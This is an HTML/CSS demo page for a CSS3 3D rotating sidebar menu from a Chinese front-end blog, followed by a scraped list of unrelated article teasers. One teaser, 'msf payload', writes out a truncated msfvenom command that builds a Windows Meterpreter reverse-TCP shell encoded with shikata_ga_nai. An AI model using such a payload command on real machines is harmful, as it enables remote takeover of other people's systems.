<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="initial-scale=1.0, width=device-width"/><!-- , maximum-scale=1.0, user-scalable=no, " /> -->
    <style type="text/css">
      div {
            box-sizing: border-box
        }
        
        a {
            color: #000;
            -webkit-transition: all .2s linear;
            -moz-transition: all .2s linear;
            -ms-transition: all .2s linear;
            -o-transition: all .2s linear;
            transition: all .2s linear
        }
        
        .nav {
            height: 100%;
            position: fixed;
            left: 0;
            top: 0;
            z-index: 1000;
            -webkit-transform-style: preserve-3d;
            -moz-transform-style: preserve-3d;
            -ms-transform-style: preserve-3d;
            transform-style: preserve-3d;
            -webkit-perspective: 1000px;
            -moz-perspective: 1000px;
            -ms-perspective: 1000px;
            perspective: 1000px
        }
        
        .navIcon {
            position: absolute;
            left: 0;
            top: 0;
            z-index: 990;
            height: 100%;
            background: #252525
        }
        
        .navIcon li {
            border-bottom: 1px solid rgba(0,0,0,.3)
        }
        
        .navIcon a {
            display: block;
            width: 64px;
            height: 64px;
            line-height: 64px;
            text-align: center;
            font-size: 1.6em;
            color: #999;
            text-shadow: 0 1px 0 #000;
            -webkit-transition: all .2s ease-out;
            -moz-transition: all .2s ease-out;
            -ms-transition: all .2s ease-out;
            -o-transition: all .2s ease-out;
            transition: all .2s ease-out
        }
        
        .navIcon a:hover {
            color: #fff;
            -webkit-transform: translateX(10px) scale(1.2);
            -moz-transform: translateX(10px) scale(1.2);
            -ms-transform: translateX(10px) scale(1.2);
            -o-transform: translateX(10px) scale(1.2);
            transform: translateX(10px) scale(1.2)
        }
        
        .nav:hover .navText {
            -webkit-transform: rotateY(0deg);
            -moz-transform: rotateY(0deg);
            -ms-transform: rotateY(0deg);
            -o-transform: rotateY(0deg);
            transform: rotateY(0deg)
        }
        
        .navText {
            position: absolute;
            left: 63px;
            top: 0;
            z-index: 980;
            height: 100%;
            background: #252525;
            border-right: 1px solid rgba(0,0,0,.3);
            -webkit-transition: -webkit-transform .24s linear;
            -moz-transition: -moz-transform .24s linear;
            -ms-transition: -ms-transform .24s linear;
            -o-transition: -o-transform .24s linear;
            transition: transform .24s linear;
            -webkit-backface-visibility: hidden;
            -moz-backface-visibility: hidden;
            -ms-backface-visibility: hidden;
            backface-visibility: hidden;
            -webkit-transform-origin: 0 50%;
            -moz-transform-origin: 0 50%;
            -ms-transform-origin: 0 50%;
            -o-transform-origin: 0 50%;
            transform-origin: 0 50%;
            -webkit-transform: rotateY(90deg);
            -moz-transform: rotateY(90deg);
            -ms-transform: rotateY(90deg);
            -o-transform: rotateY(90deg);
            transform: rotateY(90deg)
        }
        
        .navText li {
            border-bottom: 1px solid rgba(0,0,0,.3)
        }
        
        .navText a {
            display: block;
            width: 200px;
            height: 64px;
            line-height: 64px;
            text-indent: 1em;
            font-size: 1.4em;
            color: #999;
            text-shadow: 0 1px 0 #000;
            -webkit-transition: all .2s ease-out;
            -moz-transition: all .2s ease-out;
            -ms-transition: all .2s ease-out;
            -o-transition: all .2s ease-out;
            transition: all .2s ease-out
        }
        
        .navText a:hover {
            color: #fff;
            -webkit-transform: translateX(-14px);
            -moz-transform: translateX(-14px);
            -ms-transform: translateX(-14px);
            -o-transform: translateX(-14px);
            transform: translateX(-14px)
        }
        
        .nav:hover .navInfo {
            left: 0;
            opacity: 1;
            -webkit-transition: opacity .5s ease-in .1s;
            -moz-transition: opacity .5s ease-in .1s;
            -ms-transition: opacity .5s ease-in .1s;
            -o-transition: opacity .5s ease-in .1s;
            transition: opacity .5s ease-in .1s
        }
        
        .navInfo {
            position: absolute;
            left: -400px;
            bottom: 30px;
            z-index: 999;
            width: 264px;
            color: #fff;
            text-align: center;
            line-height: 1.6;
            opacity: 0
        }
        
        .navBlogLogo p {
            width: 100px;
            height: 100px;
            margin: 0 auto;
            border-radius: 50%;
            border: 8px solid #fff;
            background: #252525;
            opacity: .6;
            overflow: hidden;
            text-align: center;
            -webkit-transition: all .2s linear;
            -moz-transition: all .2s linear;
            -ms-transition: all .2s linear;
            -o-transition: all .2s linear;
            transition: all .2s linear;
            -webkit-box-shadow: inset 0 0 0 5px #fff;
            -moz-box-shadow: inset 0 0 0 5px #fff;
            box-shadow: inset 0 0 0 5px #fff
        }
        
        .navBlogLogo img {
            width: 100px;
            height: 100px;
            border-radius: 50%;
            -webkit-transition: all .2s linear;
            -moz-transition: all .2s linear;
            -ms-transition: all .2s linear;
            -o-transition: all .2s linear;
            transition: all .2s linear
        }
        
        .navBlogLogo p:hover {
            opacity: 1;
            -webkit-box-shadow: 0 0 10px 1px #fff,inset 0 0 16px 4px #fff;
            -moz-box-shadow: 0 0 10px 1px #fff,inset 0 0 16px 4px #fff;
            box-shadow: 0 0 10px 1px #fff,inset 0 0 16px 4px #fff
        }
        
        .navBlogLogo p:hover img {
            -webkit-transform: scale(0.88);
            -moz-transform: scale(0.88);
            -ms-transform: scale(0.88);
            -o-transform: scale(0.88);
            transform: scale(0.88)
        }
        
        .navBlogName {
            font-size: 2em;
            font-weight: bold;
            letter-spacing: 2px;
            color: #434343;
            text-shadow: -1px -1px #4f4f4f,1px 1px #111
        }
        
        .navBlogDescription {
            color: #444;
            text-shadow: 1px 1px #111
        }
        
        .navFollow a {
            font-size: 2em;
            color: #323232;
            letter-spacing: .5em;
            text-shadow: 1px 1px #444,-1px -1px #111
        }
        
        .navFollow a:hover {
            color: #545454;
            text-shadow: -1px -1px #565656,1px 1px #111
        }
    </style>
</head>
<body>
    <div id="nav" class="nav">
        <div class="navIcon">
            <ul>
                <li><a title="Coding Serf" href="http://www.codingserf.com/"><i class="fa fa-home ">菜单1</i></a></li>
                <li><a href="http://www.codingserf.com/index.php/category/1/"><i class="fa fa-bug ">菜单2</i></a></li>
                <li><a href="http://www.codingserf.com/index.php/category/2/"><i class="fa fa-edit ">菜单3</i></a></li>
                <li><a href="http://www.codingserf.com/index.php/category/3/"><i class="fa fa-gift ">菜单4</i></a></li>
                <!-- <li><a href="#"><i class="fa fa-user-md "></i></a></li> -->
            </ul>
        </div>
        <div class="navText">
            <ul>
                <li><a title="Coding Serf" href="http://www.codingserf.com/">Coding Serf</a></li>
                    <li class="cat-item cat-item-1"><a href="http://www.codingserf.com/index.php/category/1/" title="查看Web下的所有文章">Web</a>
</li>
    <li class="cat-item cat-item-8"><a href="http://www.codingserf.com/index.php/category/2/" title="查看Translations下的所有文章">Translations</a>
</li>
    <li class="cat-item cat-item-15"><a href="http://www.codingserf.com/index.php/category/3/" title="查看Life下的所有文章">Life</a>
</li>
            </ul>
        </div>
        <div class="navInfo">
            <div class="navBlogLogo"><p><img src="http://www.codingserf.com/wp-content/themes/codingserf/images/logo.jpeg" alt="logo"></p></div>
            <div class="navBlogName">Coding Serf</div>
            <div class="navBlogDescription">Stay @ Front End | &quot;呆&quot;在前端</div>
            <div class="navFollow">
                <a target="_blank" href="http://weibo.com/lybluesky"><i class="fa fa-weibo"></i></a>
                <a target="_blank" href="https://twitter.com/lybluesky"><i class="fa fa-twitter"></i></a>
            </div>
        </div>
    </div>

</body>
</html>

css3实现3d显示效果的更多相关文章

  1. 网页特效:用CSS3制作3D图片立方体旋转特效

    <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title&g ...

  2. css3的3D和2D

    css3的3D旋转:rorateX():参数为正值时,盒子是围绕x轴,完成从Y轴正方向到Y轴负方向的旋转,视觉上呈现高度上的变化.rorateY():参数为正值时,盒子是围绕Y轴,完成从X轴正方向到X ...

  3. 使用 CSS3 实现 3D 图片滑块效果【附源码下载】

    使用 CSS3 的3D变换特性,我们可以通过让元素在三维空间中变换来实现一些新奇的效果. 这篇文章分享的这款 jQuery 立体图片滑块插件,利用了 3D transforms(变换)属性来实现多种不 ...

  4. CSS3之3D变换实例详解

    CSS3的3D效果很赞,本文实现简单的两种3D翻转效果.首先看效果和源代码,文末是文绉绉的总结部分^_^ 以下CSS代码为了简洁没有添加前缀,请视情况自行添加(自动化时代推荐使用其他的一些方法,如gu ...

  5. CSS3 transforms 3D翻开

    R T L B   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://w ...

  6. 使用CSS3实现3D图片滑块效果

    使用 CSS3 的3D变换特性,我们可以通过让元素在三维空间中变换来实现一些新奇的效果. 这篇文章分享的这款 jQuery 立体图片滑块插件,利用了 3D transforms(变换)属性来实现多种不 ...

  7. 一款基于css3的3D图片翻页切换特效

    今天给大家分享一款基于css3的3D图片翻页切换特效.单击图片下方的滑块会切换上方的图片.动起你的鼠标试试吧,效果图如下: 在线预览   源码下载 实现的代码. html代码: <div id= ...

  8. 基于css3的3D立方体旋转特效

    今天给大家分享一款基于css3的3D立方体旋转特效.这款特效适用浏览器:360.FireFox.Chrome.Safari.Opera.傲游.搜狗.世界之窗. 不支持IE8及以下浏览器.效果图如下 : ...

  9. HTML5和CSS3实现3D转换效果 CSS3的3D效果

    上次,我们一起研究了css3的2d模块,这次我们一起来看一下css3的3d模块. 首先,我们来了解一下3d的坐标系,x轴在屏幕上为水平方向,y轴为垂直方向,而z轴为垂直于屏幕的方向. 不理解的话可以参 ...

随机推荐

  1. hadoop的namenode无法启动的解决的方法

    安装hadoop集群时,启动集群,发现master节点的namenode没有启动成功.这一般都是没有格式格式化namenode的缘故.格式化一下就可以,格式化namenode的命令:在hadoop安装 ...

  2. msf payload

    #clientmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.106 LPORT=9999 -e x86/shikata_ga_ ...

  3. el表达式 多条件判断

      el表达式 多条件判断 CreationTime--2018年9月13日08点59分 Author:Marydon 1.情景展示 ACCESS_ID == 'APP1039' 且 CARDTYPE ...

  4. 项目重命名&复制项目&删除项目

          项目重命名&复制项目&删除项目 CreateTime--2016年10月15日17:25:43 Author:Marydon 1.修改项目名或者复制的项目名 第一步: my ...

  5. Google Hack的一些整理

    这里是一些关于Google Hack方面的整理 黑客专用信息和资料搜索地址为: http://www.google.com/custom?hl=xx-hacker 这里是google关键字的用法,要设 ...

  6. Android 4 编程入门经典

    这是一本入门级的经典教才从Android编程入门到发布Android应用程序,每一个章节都是讲得很透,让人轻松的接受. 第1章 Android编程入门 1.1 Android简介 1.1.1 Andr ...

  7. iOS 音乐播放器之锁屏效果+歌词解析

    概述 功能描述:锁屏歌曲信息.控制台远程控制音乐播放:暂停/播放.上一首/下一首.快进/快退.列表菜单弹框和拖拽控制台的进度条调节进度(结合了QQ音乐和网易云音乐在锁屏状态下的效果).歌词解析并随音乐 ...

  8. ASP.NET 加入返回参数ReturnValue

    说明:很多时候,在DBHelper函数中,都能看到以下的代码: cmd.Parameters.Add(, ParameterDirection.ReturnValue, , , string.Empt ...

  9. mybatis启动报错Result Maps collection already contains value forxxx

    ssm搭建过程中启动tomcat,报错: Cause: java.lang.IllegalArgumentException: Result Maps collection already conta ...

  10. SSL原理

    http://blog.csdn.net/terryzero/article/details/5921791SSL的原理以前一直很模糊,看了下面这篇文章后清楚了许多,为了方便以后的回顾,所以转载下 R ...